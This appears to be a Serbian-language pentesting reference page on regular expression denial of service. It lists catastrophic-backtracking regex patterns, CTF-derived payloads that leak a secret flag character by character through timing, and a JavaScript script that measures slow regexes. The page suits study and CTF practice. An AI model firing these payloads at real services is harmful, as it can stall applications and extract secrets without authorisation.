# Regular expression Denial of Service - ReDoS
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# Regular Expression Denial of Service (ReDoS)
**Regular Expression Denial of Service (ReDoS)** se dešava kada neko iskoristi slabosti u načinu na koji regularni izrazi (način pretrage i usklađivanja obrazaca u tekstu) funkcionišu. Ponekad, kada se koriste regularni izrazi, mogu postati veoma spori, posebno ako deo teksta s kojim rade postane veći. Ova sporost može postati toliko loša da raste veoma brzo čak i sa malim povećanjima u veličini teksta. Napadači mogu iskoristiti ovaj problem da nateraju program koji koristi regularne izraze da prestane da funkcioniše ispravno na duži vremenski period.
## The Problematic Regex Naïve Algorithm
**Check the details in [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
## Evil Regexes
Zli obrazac regularnog izraza je onaj koji može **da se zaglavi na kreiranom unosu uzrokujući DoS**. Zli regex obrasci obično sadrže grupisanje sa ponavljanjem i ponavljanje ili alternativu sa preklapanjem unutar ponovljene grupe. Neki primeri zlih obrazaca uključuju:
* (a+)+
* ([a-zA-Z]+)*
* (a|aa)+
* (a|a?)+
* (.*a){x} za x > 10
Svi su ranjivi na unos `aaaaaaaaaaaaaaaaaaaaaaaa!`.
## ReDoS Payloads
### String Exfiltration via ReDoS
U CTF-u (ili bug bounty) možda **kontrolišete Regex sa kojim se usklađuje osetljiva informacija (zastava)**. Tada bi moglo biti korisno da **stranica zamrzne (timeout ili duže vreme obrade)** ako je **Regex usklađen** i **ne ako nije**. Na ovaj način ćete moći da **izvučete** string **karakter po karakter**:
* U [**ovom postu**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) možete pronaći ovo ReDoS pravilo: `^(?=)((.*)*)*salt$`
* Primer: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
* U [**ovoj analizi**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) možete pronaći ovo: `(((((((.*)*)*)*)*)*)*)!`
* U [**ovoj analizi**](https://ctftime.org/writeup/25869) koristio je: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
### ReDoS Controlling Input and Regex
Sledeći su **ReDoS** primeri gde **kontrolišete** i **unos** i **regex**:
```javascript
function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}
// This payloads work because the input has several "a"s
[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```
## Alati
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
## Reference
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
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